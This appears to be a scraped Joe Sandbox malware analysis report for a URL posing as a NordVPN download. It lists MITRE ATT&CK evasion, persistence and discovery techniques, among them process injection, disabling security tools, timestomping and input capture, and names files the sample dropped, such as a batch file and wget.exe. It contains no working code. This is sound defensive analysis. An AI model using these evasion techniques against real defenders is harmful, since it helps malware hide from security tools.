Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://vpn-get.com/nordvpn

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100AGM.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100PDFL.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.exe

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\DirectX.bat

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\WinRAR.exe

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.exe

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.exe.manifest

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\wget.exe

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GFSDK_ShadowLib.win64.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GPUPerfAPIDX11-x64.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\adbeape.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\boost_system.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\d3dcompiler_47.dll

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll

Windows Analysis Report
https://vpn-get.com/nordvpn